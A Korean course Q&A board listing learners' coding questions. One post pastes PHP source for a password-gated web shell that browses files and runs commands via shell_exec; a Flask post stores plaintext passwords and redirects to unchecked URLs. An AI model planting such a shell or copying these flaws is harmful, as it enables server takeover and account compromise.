묻고 답해요
164만명의 커뮤니티!! 함께 토론해봐요.
인프런 TOP Writers
-
미해결[리뉴얼] React로 NodeBird SNS 만들기
useCallback 배열 질문
안녕하세요 제로초님, useinput과 export default (initialValue = null) => { const [value, setValue] = useState(initialValue) const handler = useCallback((e) => { setValue(e.target.value); }, [여기]); return [value, handler]; } 이번 강의에서 사용하신 useCallback 함수 const onChangeText = useCallback((e) => { setText(e.target.value) }, [여기]); 내부에 있는 배열에 useinput에는 value, onChangeText에는 text를 넣지 않아도 되는건가요? 사용자가 입력할 때 마다 어차피 컴포넌트가 리렌더링 되니까 넣어도 안넣어도 똑같기 때문에 굳이 넣지 않는 것인가요?
-
미해결따라하면서 배우는 웹애플리케이션 만들기
맥북 서버 질문
- 학습 관련 질문을 남겨주세요. 상세히 작성하면 더 좋아요! - 먼저 유사한 질문이 있었는지 검색해보세요. - 서로 예의를 지키며 존중하는 문화를 만들어가요. - 잠깐! 인프런 서비스 운영 관련 문의는 1:1 문의하안녕하세요 html 처음배웁니다. 혹시 맥북으로 서버 설치는 어떻게 해야할까요 ? mac으로 따라해야 할까요?기를 이용해주세요.
-
미해결홍정모의 따라하며 배우는 C++
지역변수의 중단점이 안보일경우
배열과 반복문 강의 듣는겸 따로 봐왔던 코드를 따라 해보는겸 코드를 짜고 잇는데요 제 의도 대로 되지 않아서 중단점을 통해서 배열이 어떻게 채워지는지 보고싶어 중단점을 정하고 디버깅을 하는데 지역 변수 인 부분인 배열이 중단점에서 안보이더라구요 ㅠ 구글링해서 optimization을 Disabled 해도 안되더라구요 배열을 중단점에서 어떻게 확인 할수 있을까요?? 버젼은 Visual Studio Community 2019 - Version 16.11.2 입니다!
-
미해결자바스크립트 알고리즘 문제풀이 입문(코딩테스트 대비)
이렇게 한것도 괜찮나요
안녕하세요 선생님 이렇게 했는데 괜찮나요 function solution(str){ let haha= str.replace(/[a-z]/gi, "").replace(/(^0+)/, ""); return haha ; } let str="g0000en2T0sfdjsifjwep0if32uufklnfwfe8eSoft"; console.log(solution(str));
-
미해결파이썬/장고 웹서비스 개발 완벽 가이드 with 리액트
generate_view_fn 함수 질문
안녕하세요 일급함수와 관련해서 generate_view_fn 함수를 설명해주셨는데, return 값에서 instance_name은 template에 넘겨주기 위한 변수이름으로 활용되는 건가요? 설명에서는 위에 view_fn함수에 있는 instance_name과 같다고 하셨는데 헷갈려서 질문 남깁니다!! 감사합니다
-
미해결따라하며 배우는 노드, 리액트 시리즈 - 영화 사이트 만들기
node 버전을 다운 그레이드 시켜야하나요?
현재 제가 가진 노드 버전(v16.14.1)이랑 bcrypt 라이브러리 버전(v3.0.6)이 안맞아서 관련 에러가 발생하고 있습니다 . (에러 메시지에서 요구하는 사항은 bcrypt 버전을 v3.0.8로 변경하라고 하는 것 같습니다.) 강의를 따라가려면 root 의 package.json 안에 engines의 값으로 node, npm 버전이 적혀있는데 저 버전으로 nvm을 이용해서 다운 그레이드 해야하는 건지 아니면 에러 메시지에 맞춰 라이브러리를 업그레이드 해야하는지 궁금합니다.
-
미해결스프링 핵심 원리 - 기본편
lombok cannot find symbol 오류
스프링 부트 : 2.6.5 자바 : 11 현재 상태 : 컴파일러 설정 : 어노테이션 활성화 lombok 설치상태 : build.gradle 상태 : 프로젝트 외부 라이브러리 상태 : 프로젝트 설정 상태 : 오류 내용 : 혼자서 해결해 보려고 구글링을 통한 여러가지 방법을 시도해 보았지만 결국 다 실패하고 질문 올립니다...
-
해결됨남박사의 파이썬으로 실전 웹사이트 만들기
오류 나는 부분이 있어서 다시 질문 드립니다! 도와주세요! (join 로그인시 백지, 몽고db 이메일주소 null 표시)
안녕하세요 웹개발 입문부분 강좌를 거의다 들었는데.. 오류가 나는 부분이 있어서.. 질문을 올립니다! 문제는..join 로그인 하면 몽고db에서 이메일 주소가 null로 표시가 되서.. 동작이 되지 않는점이 있습니다.. 비슷한 증상을 찾기 어려워서 질문 남깁니다! -화면- -join- -mongoDB- -list- -list 로그인 페이지- next_url << 이게 문제가 나왔었는데 다른 코드들 참고 했는데 해결은 됬습니다. -run.py- from flask import Flask from flask import request from flask import render_template from flask_pymongo import PyMongo from bson.objectid import ObjectId from flask import abort from flask import redirect from flask import url_for from flask import flash from flask import session from functools import wraps import math import time from datetime import datetime, timedelta app = Flask(__name__) app.config["MONGO_URI"] = "mongodb://localhost:27017/myweb" app.config["SECRET_KEY"] = "abcd" app.config["PERMANENT_SESSION_LIFETIME"] = timedelta(minutes=30) mongo = PyMongo(app) def login_required(f): @wraps(f) def decorated_function(*args, **kwargs): if session.get("id") is None or session.get("id") == "": return redirect(url_for("member_login", next_url=request.url)) return f(*args, **kwargs) return decorated_function @app.template_filter('formatdatetime') def format_datetime(value): if value is None: return "" now_timestamp = time.time() offset = datetime.fromtimestamp( now_timestamp) - datetime.utcfromtimestamp(now_timestamp) value = datetime.fromtimestamp((int(value) / 1000)) + offset return value.strftime('%Y-%m-%d %H:%M:%S') @app.route("/list") def lists(): # 페이지 값 (값이 없는 경우 기본값는 1) page = request.args.get("page", 1, type=int) # 한페이지당 몇개의 게시물을 출력할지 limit = request.args.get("limit", 5, type=int) search = request.args.get("search", -1, type=int) keyword = request.args.get("keyword", type=str) # 최종적으로 완성된 쿼리를 만들 변수 query = {} # 검색어 상태를 추가할 리스트 변수 search_list = [] if search == 0: search_list.append({"title": {"$regex": keyword}}) elif search == 1: search_list.append({"contents": {"$regex": keyword}}) elif search == 2: search_list.append({"title": {"$regex": keyword}}) search_list.append({"contents": {"$regex": keyword}}) elif search == 3: search_list.append({"name": {"$regex": keyword}}) # 검색 대상이 한개라도 존재할 경우 query 변수에 $or 리스트를 쿼리 합니다. if len(search_list) > 0: query = {"$or": search_list} print(query) board = mongo.db.board datas = board.find({}).skip((page - 1) * limit).limit(limit) # 게시물의 총 갯수 tot_count = board.count_documents({}) # 마지막 페이지의 수를 구한다. last_page_num = math.ceil(tot_count / limit) # 페이지 블럭을 5개씩 표기 block_size = 5 # 현재 블럭의 위치 block_num = int((page - 1) / block_size) # 블럭의 시작 위치 block_start = int((block_size * block_num) + 1) # 블럭의 끝 위치 block_last = math.ceil(block_start + (block_size - 1)) return render_template("list.html", datas=list(datas), limit=limit, page=page, block_start=block_start, block_last=block_last, last_page_num=last_page_num, search=search, keyword=keyword) @ app.route("/view/<idx>") @login_required def board_view(idx): # idx = request.args.get("idx") if idx is not None: page = request.args.get("page") search = request.args.get("search") keyword = request.args.get("keyword") board = mongo.db.board # data = board.find_one({"_id": ObjectId(idx)}) data = board.find_one_and_update({"_id": ObjectId(idx)}, { "$inc": {"view": 1}}, return_document=True) if data is not None: result = { "id": data.get("_id"), "name": data.get("name"), "title": data.get("title"), "contents": data.get("contents"), "pubdate": data.get("pubdate"), "view": data.get("view"), "writer_id": data.get("writer_id", "") } return render_template("view.html", result=result, page=page, search=search, keyword=keyword) return abort(404) @ app.route("/write", methods=["GET", "POST"]) def board_write(): if session.get("id") is None: return redirect(url_for("member_login")) if request.method == "POST": name = request.form.get("name") title = request.form.get("title") contents = request.form.get("contents") print(name, title, contents) current_utc_time = round(datetime.utcnow().timestamp() * 1000) board = mongo.db.board post = { "name": name, "title": title, "contents": contents, "pubdate": current_utc_time, "writer_id": session.get("id"), "view": 0, } x = board.insert_one(post) print(x.inserted_id) return redirect(url_for("board_view", idx=x.inserted_id)) else: return render_template("write.html") @app.route("/join", methods=["GET", "POST"]) def member_join(): if request.method == "POST": name = request.form.get("name", type=str) email = request.form.get("email", type=str) pass1 = request.form.get("pass", type=str) pass2 = request.form.get("pass2", type=str) if name == "" or email == "" or pass1 == "" or pass2 == "": flash("입력되지 않은 값이 있습니다.") return render_template("join.html") if pass1 != pass2: flash("비밀번호가 일치하지 않습니다.") return render_template("join.html") members = mongo.db.members cnt = members.count_documents({"email": email}) if cnt > 0: flash("중복된 이메일 주소입니다.") return render_template("join.html") current_utc_time = round(datetime.utcnow().timestamp() * 1000) post = { "name": name, "email": email, "pass": pass1, "joindate": current_utc_time, "logintime": "", "logincount": 0, } members.insert_one(post) return "" else: return render_template("join.html") @app.route("/login", methods=["GET", "POST"]) def member_login(): if request.method == "POST": email = request.form.get("email") password = request.form.get("pass") next_url = request.form.get("next_url") members = mongo.db.members data = members.find_one({"email": email}) if data is None: flash("회원 정보가 없습니다.") return redirect(url_for("member_login")) else: if data.get("pass") == password: session["email"] = email session["name"] = data.get("name") session["id"] = str(data.get("_id")) session.permanent = True if next_url is not None: return redirect(next_url) else: return redirect(url_for("lists")) return redirect(url_for("lists")) else: flash("비밀번호가 일치하지 않습니다.") return redirect(url_for("member_login")) return "" else: next_url = request.args.get("next_url", type=str) if next_url is not None: return render_template("login.html", next_url=next_url) else: return render_template("login.html") @app.route("/edit/<idx>", methods=["GET", "POST"]) def board_edit(idx): if request.method == "GET": board = mongo.db.board data = board.find_one({"_id": ObjectId(idx)}) if data in None: flash("해당 게시물이 존재하지 않습니다.") return redirect(url_for("lists")) else: if session.get("id") == data.get("writer_id"): return render_template("edit.html", data=data) else: flash("글 수정 권한이 없습니다.") return redirect(url_for("lists")) else: title = request.form.get("title") contains = request.form.get("contents") board = mongo.db.board data = board.find_one({"_id": ObjectId(idx)}) if session.get("id") == data.get("writer_id"): board.update_one({"_id": ObjectId(idx)}, { "$set": { "title": title, "contents": contains, } }) flash("수정 되었습니다.") return redirect(url_for("board_view", idx=idx)) else: flash("글 수정 권한이 없습니다.") return redirect(url_for("lists")) @app.route("/delete/<idx>") def board_delete(idx): return "" if __name__ == "__main__": app.run(host="0.0.0.0", debug=True, port=9000) ------------------------------------------------------------------------------------------------ -join- {% with messages = get_flashed_messages() %} {% if messages %} <script> alert('{{messages[-1]}}'); </script> {% endif %} {% endwith %} <table> <form name="form" action="/join" method="POST"> <thead> <caption>회원가입</caption> </thead> <tbody> <tr> <td>이름</td> <td><input type="text" name="name"></td> </tr> <tr> <td>이메일</td> <td><input type="text" nmae="email"></td> </tr> <tr> <td>비밀번호</td> <td><input type="password" name="pass"></td> </tr> <tr> <td>비밀번호 확인</td> <td><input type="password" name="pass2"></td> </tr> <tr> <td colspan="2"><input type="submit" value="가입하기"></td> </tr> </tbody> </form> </table> ---------------------------------------------------------------------------------------------------------- -login- {% with messages = get_flashed_messages() %} {% if messages %} <script> alert("{{messages[-1]}}"); </script> {% endif %} {% endwith %} <table> <form name="form" action="/login" method="POST"> {% if next_url %} <input type="hidden" name="next_url" value="{{next_url}}" /> {% endif %} <thead> <caption> 회원 로그인 </caption> </thead> <tbody> <tr> <td>이메일</td> <td><input type="text" name="email" /></td> </tr> <tr> <td>비밀번호</td> <td><input type="password" name="pass" /></td> </tr> <tr> <td colspan="2"><input type="submit" value="로그인" /></td> </tr> </tbody> </form> </table> -------------------------------------------------------------------------------------------------------- - list - {% with messages = get_flashed_messages() %} {% if messages %} <script> alert('{{messages[-1]}}'); </script> {% endif %} {% endwith %} <script> function search() { var v_search = document.getElementById("search").value; var v_keyword = document.getElementById("keyword").value; if (v_search == "" || v_keyword == "") { return false; } else { self.location.href = "{{url_for('lists')}}?search=" + v_search + "&keyword=" + v_keyword; } } </script> {% if datas|length > 0 %} <table> <thead> <tr> <td>번호</td> <td>제목</td> <td>이름</td> <td>날짜</td> <td>조회수</td> </tr> </thead> <tbody> <!--반복되는 구간--> <tr> {% for data in datas %} <td>{{loop.index + ((page - 1) * limit)}}</td> <td> <a href="{{url_for('board_view', idx=data._id, page=page, search=search, keyword=keyword)}}">{{data.title}}</a> </td> <td>{{data.name}}</td> <td>{{data.pubdate|formatdatetime}}</td> <td>{{data.view}}</td> </tr> {% endfor %} <!--반복되는 구간 끝--> </tbody> </table> {% if block_start - 1 > 0 %} <a href="{{url_for('lists', page=block_start - 1, search=search, keyword=keyword)}}">[이전]</a> {% endif %} {% for i in range(block_start, block_last + 1) %} {% if i > last_page_num %} {{ i }} {% else %} {% if i == page %} <b>{{ i }}</b> {% else %} <a href="{{url_for('lists', page=i, search=search, keyword=keyword)}}">{{ i }}</a> {% endif %} {% endif %} {% endfor %} {% if block_last < last_page_num %} <a href="{{url_for('lists', page=block_last + 1, search=search, keyword=keyword)}}">[다음]</a> {% endif %} <select name="search" id="search"> <option value="" {% if search=='' or search==-1 %} selected {% endif %}>검색대상</option> <option value="0" {% if search==0 %} selected {% endif %}>제목</option> <option value="1" {% if search==1 %} selected {% endif %}>내용</option> <option value="2" {% if search==2 %} selected {% endif %}>제목+내용</option> <option value="3" {% if search==3 %} selected {% endif %}>작성자</option> </select> <input type="text" name="keyword" id="keyword" {% if keyword !="" %} value="{{keyword}}" {% endif %} /> <input type="button" value="검색" onclick="search()" /> {% else %} <h3>데이터가 없습니다.</h3> {% endif %} <a href="{{url_for('board_write')}}">글작성</a> ------------------------------------------------------------------------------------------------------- - edit - <html> <body> <table> <form name="form" method="post" action="/edit/{{data._id}}"> <tr> <td>작성자</td> <td><input type="text" name="name" value="{{session['name']}}" readonly /></td> </tr> <tr> <td>제목</td> <td><input type="text" name="title" /></td> </tr> <tr> <td>내용</td> <td><textarea type="text" name="contents">{{data.contents}}</textarea></td> </tr> <tr> <td colspan="2"><input type="submit" /></td> </tr> </form> </table> </body> </html>
-
미해결쉽게 처음하는 파이썬 고급 크롤링 [Scrapy, Selenium, Headless Chrome]
json 으로 저장이 안되네요
File "/Users/hwan/Library/CloudStorage/OneDrive-개인/Coding/scrapy/mynaverapi/mynaverapi/spiders/navershopapi.py", line 23, in parse data = json.loads(response.body_as_unicode()) AttributeError: 'TextResponse' object has no attribute 'body_as_unicode' 이와 같은 문구가 나오면서 정상적으로 작동하지 않네요 ... pip install json 을 입력하면 아래와 같은 메세지가 나옵니다. 어떻게 하면 해결할 수 있을까요? ERROR: Could not find a version that satisfies the requirement json (from versions: none) ERROR: No matching distribution found for json
-
미해결모든 개발자를 위한 HTTP 웹 기본 지식
3xx 리다이렉션2 강의중 설명하신 post 중복 요청과 관련된 질문
=========================================[질문 템플릿]1. 강의 내용과 관련된 질문인가요? (예/아니오) 예2. 인프런의 질문 게시판과 자주 하는 질문에 없는 내용인가요? (예/아니오) 예3. 질문 잘하기 메뉴얼을 읽어보셨나요? (예/아니오) 예[질문 내용]여기에 질문 내용을 남겨주세요. 3xx 리다이렉션2 강의중 설명하신 post 중복 요청과 관련된 질문이 있습니다. 제가 일하고 있는 회사의 경우, 서버와의 데이터 교환을 AJAX 비동기 통신을 통해 하고, callback함수가 동작하는 형태를 많이 사용합니다. 데이터가 post를 통해 입력되면 callback함수를 통해 다시 데이터를 조회하거나 화면을 갱신하는데 이러한 경우에도 말씀하신 중복 요청 문제가 발생할수 있을까요? 이런 경우 어떻게하면 중복 요청 문제를 유발 시켜볼 수 있을까요? 질문이 좀 유치한거 같은데 죄송합니다 ㅎㅎ;
-
해결됨[리뉴얼] Node.js 교과서 - 기본부터 프로젝트 실습까지
디버깅 관련해서 질문드리고 싶습니다
강사님 안녕하세요 디버깅 관련해서 질문드리고 싶습니다 restserver.js 디버깅 실행 도중에 Hello를 입력하고 등록 버튼을 누르면 저는 restFront.html 에서 form 태그가 나왔다가 restfront.js 로 건너뛰어서 서버에 axios.get( ) 으로 요청을 보내서 restserver.js 로 다시 건너뛰어서 req.method 로 GET 요청 받는 디버깅을 생각하고 있었습니다 그러나 이렇게 소스코드 파일 사이에 건너뛰기가 안되고 restServer.js 에서만 디버깅이 되는 것 같았습니다 혹시 웹페이지에서 버튼을 눌러서 서버에 요청할 때는 restfront.js 소스코드로 갔다가, 요청을 받고 응답할 때는 restserver.js로 건너뛰는 디버깅 방법이 있는지 궁금해서 질문드리고 싶습니다 읽어주셔서 감사합니다
-
미해결이펙티브 자바 완벽 공략 1부
아이템6의 핵심정리와 완벽공략의 비디오 중복
안녕하세요. 이펙티브 자바의 강의를 잘 보고 있습니다. 아이템6의 핵심정리 강의와 완벽공략의 강의 비디오가 같습니다. 의도 한 것인지 혹시 누락된 것인지 문의드립니다.
-
해결됨Skill-Up! 배워서 바로 쓰는 웹쉘 제작
죄송합니다;; 또 에러가 나네요(해결해주세요.)
이번엔 그 7월 전꺼 리마스터 처럼 필요한 부분(파일 브라우저, 커맨드, 인증 기능)만 만들려고 해봤는데 갑자기 에러가 나네요. error.log도 봤는데 해결 못하겠어서요. 소스입니다;; <? session_start(); header("Content-Type: text/html; charset=UTF-8"); $mode = $_REQUEST["mode"]; $path = $_REQUEST["path"]; $page = basename($_SERVER["PHP_SELF"]); $inputPW = $_POST["inputPw"]; $accessPw = "jorkdhnghks6352"; ##!access password!## $accessFlag = $_SESSTION["accessFlag"]; if($accessFlag == "Y"); { if(empty($path)){ $tempFileName = basename(__FILE__); $tempPath = realpath(__FILE__); $path = str_replace($tempFileName, "", $tempPath); $path = str_replace("\\", "/", $path); } else { $path = realpath($path)."/"; $path = str_replace("\\", "/", $path); } # Dir list retuurn function function getDirList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) == "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } } #File List return function function getFileList($getPath) { $listArr = array(); $handler = opendir($getPath); while($file = readdir($handler)) { if(is_dir($getPath.$file) != "1") { $listArr[] = $file; } } closedir($handler); return $listArr; } if ($mode == "login" && ($accessPW == $inputPW)) { $_SESSION["accessFlag"] = "Y"; echo "<script>location.href= '{$page}'</script>"; exit(); } ?> <!DOCTYPE html> <html lang="ko"> <head> <title>SPACEPIG's Webshell</title> <!-- 합쳐지고 최소화된 최신 CSS --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap.min.css"> <!-- 부가적인 테마 --> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/css/bootstrap-theme.min.css"> <!-- 합쳐지고 최소화된 최신 자바스크립트 --> <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.2/js/bootstrap.min.js"></script> </head> <body> <div class="container-fluid"> <div class="row"> <div class="col-md-3"></div> <div class="col-md-6"> <? if ($accessFlag != "Y") { ?> <h3>Login</h3> <hr> <form action="<?=$page?>?mode=login" method="POST"> <div cLass="input-group"> <span clLass="input-group-addon">Password</span> <input type="password" class="form-control" pLacehoLder="Password Input..." name="inputPw"> </div> <br> <p cLass="text-center"><button class="btn btn-default" type="submit">Auth</button></a> </form> <? } else { ?> <h3>Webshell ver.0.0.1.Beta <small>Created by Spacepig</small></h3> <hr> <ul class="nav nav-tabs"> <li role="presentation" <?if(empty($mode) || $mode == "fileBrowser") echo "class=\"active\"";?>><a href="<?=$page?>?mode=fileBrowser">File Browser</a></li> <li role="presentation" <?if($mode == "command") echo "class=\"active\"";?>><a href="<?=$page?>?mode=command">Command Execution</a></li> <li role="presentation" <?if($mode == "logout") echo "class=\"active\"";?>><a href="<?=$page?>?mode=logout">Logout</a></li> </ul> <br> <?if(empty($mode) || $mode == "fileBrowser") { ?> <form action="<?=$page?>?mode=fileBrowser" metho="GET"> <div class="input-group"> <span class="input-group-addon">Current Path</span> <input type="text" class="form-control" placeholder="Path Input..." name="path" value="<?=$path?>"> <span class="input-group-btn"> <button class="btn btn-default" type="submit">Move</button> </span> </div> </form> <hr> <div class="table-responsive"> <table class="table table-bordered table-hover" style="table-layout: fixed; word-break: break-all;"> <thead> <tr class="active"> <th style="width: 50%"class="text-center">Name</th> <th style="width: 20%" class="text-center">Type</th> <th style="width: 30%" class="text-center">Date</th> </tr> </thead> <tbody> <? $dirList = getDirList($path); for($i=0; $i<count($dirList); $i++) { if($dirList[$i] != ".") { $dirDate = date("Y-m-d H:i", filemtime($path.$dirList[$i])); ?> <tr> <td style="vertical-align : middle" class="text-primary"><b><span class="glyphicon glyphicon-folder-open" aria-hidden="true"></span> <a href="<?=$page?>?mode=fileBrowser&path=<?=$path?><?=$dirList[$i]?>"><?=$dirList[$i]?></a></td> <td style="vertical-align : middle" class="text-center"><kbd>Directory</kbd></td> <td style="vertical-align : middle" class="text-center"><?=$dirDate?></td> <td style="vertical-align : middle" class="text-center"> <? if($dirList[$i] != "..") { ?> <div class="btn-group btn-group-sm" role="group" aria-label="..."> </div> <? } ?> </td> </tr> <? } ?> <? } ?> <? $fileList = getFileList($path); for($i=0; $i<count($fileList); $i++) { $fileDate = date("Y-m-d H:i", filemtime($path.$fileList[$i])); ?> <tr> <td style="vertical-align : middle"><span class="glyphicon glyphicon-file" aria-hidden="true"></span> <?=$fileList[$i]?></td> <td style="vertical-align : middle" class="text-center"><kbd>File</kbd></td> <td style="vertical-align : middle" class="text-center"><?=$fileDate?></td> <td style="vertical-align : middle" class="text-center"> <div class="btn-group btn-group-sm" role="group" aria-label="..."> </div> </td> </tr> <? } ?> </tbody> </table> </div> <? } else if(empty($mode) || $mode == "command") { ?> <form action="<?=$page?>?mode=command" method="POST"> <div class="input-group"> <span cLass="input-group-addon">Command</span> <input type="text" cLass="-form-control" pLacehoLder="Command Input..." name="command" value="<?=$command?>"> <span cLass="input-group-btn"> </span> </div> <br> <div class="btn-group btn-center" role="group" aria-label="..."> <p class="text-center"><button cLass="btn btn-default" type="submit">Execution</button></a> </div> </form> <? if(!empty($_POST["command"])) { echo "<hr>"; $result = shell_exec($_POST["command"]); $result = str_replace("\n", "<br>", $result); $result = iconv("CP949", "UTF-8", $result); echo "𝙍𝙀𝙎𝙐𝙇𝙏", "<br>", $result; } ?> <? } ?> <? } ?> <hr> <p class="text-muted text-center">Copyright© 2022, Spacepig, All rights reserved.</p> </div> <div class="col-md-3"></div> </div> </div> </body> </html>
-
미해결Flutter 입문 - 안드로이드, iOS 개발을 한 번에 (with Firebase)
Lost connection to device
Lost connection to device 오류가 나옵니다. 1번 버튼을 누르고 디버깅 상태에서 2번이 타며, 그리고 나서 연결 기기 끊김이라는 메세지가 나오면서 팅기는 현상이 나타납니다. 원인을 도저히 찾을수가 없네요. 현재 flutter 버전은 2.10.2 최신버전이며, image_picker 버전은 0.8.5 최신버전으로 적용상태 입니다. image_picker: ^0.8.5
-
미해결웹게임을 만들며 배우는 인터렉티브웹! JAVASCRIPT
몬스터나 npc의 위치가 일정 크기를 넘어가면 히어로가 사라집니다.
몬스터든 npc든 생성 위치를 조금만 크게 잡아도 히어로가 이동하다 말고 사라집니다.(생성 위치를 600정도로 작게 잡으면 문제가 없습니다.) 수업을 들으며 똑같이 코딩했는데도 불구하고 이러한 현상이 나타나서 올려주신 complete 코드의 마지막 완성 코드를 실행해 봤는데도 마찬가지입니다. 아래 GIF 파일은 제공해주신 코드를 실행한 모습입니다.. 며칠째 이런 문제가 해결되지 않아 어떻게 해야될지 몰라 질문드립니다.
-
미해결Do it! 자바 프로그래밍 입문 with 은종쌤
outer클래스의 내부 static 클래스의 static메서드에서 변수사용불가?
outer클래스의 내부 static 클래스의 static메서드인 sTest()에서 왜 iNum변수 참조를 못하나요? iNum변수는 static 클래스의 멤버변수로 선언되었으니까 static클래스 객체가 생성이 안되어도 사용 가능한거 아닌가요? 클래스가 static으로 정의되어도 그 클래스의 인스턴스 변수들은 객체의 생성과 관계가 있나보네요?
-
미해결[신규 개정판] 이것이 진짜 크롤링이다 - 실전편 (인공지능 수익화)
이런 경우 ID 입력 하려고 id 입력 input 상자를 어떻게 클릭하나요?
F12 개발자 도구로 본 화면 입니다. ID/Password 입력하는 input 박스의 class 명이 동일합니다. 다만 name 이라는 이름으로 서로 다르긴 한데 이럴경우 selenium 에서ID/Pass 를 각각 클릭하려고 하는데 CSS선택자를 뭐로 해야 하는지요?
-
미해결이미지 관리 풀스택(feat. Node.js, React, MongoDB, AWS)
이 강의에서 가르치는 이미지 관리 방식을 뭐라고 하나요?
안녕하세요. 강의 잘 수강하였습니다. 이 강의에서 나온 것처럼 이미지를 w160, w600 raw등으로 분류하여 여러 이미지를 저장하고, 필요한 사이즈에 맞는 이미지를 보여주는 방식을 뭐라고 칭하는지 궁금합니다.
-
해결됨[리뉴얼] Node.js 교과서 - 기본부터 프로젝트 실습까지
cookie2.js 에서 한번에 2개의 쿠키를 보내는 방법에 대해 질문드립니다
강사님 안녕하세요 아래의 cookie2.js에서 32행, 33행의 초록색 박스로 표시한 부분을 봐주시면요 저는 Path=/` 에도 유효한 쿠키를 보내고 싶었고 Path=/Hello`, 에도 유효한 쿠키를 보내고 싶었습니다 그래서 쿠키를 res.writeHead(302, { Location: '/', 'Set-Cookie': `name=${encodeURIComponent(name2)}; Expires=${expires.toGMTString()}; HttpOnly; Path=/`, 'Set-Cookie': `name=${encodeURIComponent(name2)}; Expires=${expires.toGMTString()}; HttpOnly; Path=/Hello`, }); 이렇게 2개를 적었습니다 문제는 아래의 사진처럼 아무리 로그인을 시도해도 쿠키가 생기지 않았습니다 혹시 그 이유를 가르쳐주시면 감사하겠습니다
-
미해결블렌더 왕초보 입문 기초강의
화면에서 screencast keys 항목이 없어요!
안녕하세요. 강의 잘 듣고 있습니다 강의중에 screencast keys 항목을 설정하셨는데 저는 항목/ 도구 / 뷰 만 있고 screencast keys라는 항목이 없습니다. 스페이스바로 검색을 해봐도 해당 기능이 없는데 혹시 설정하는 방법이 있을까요?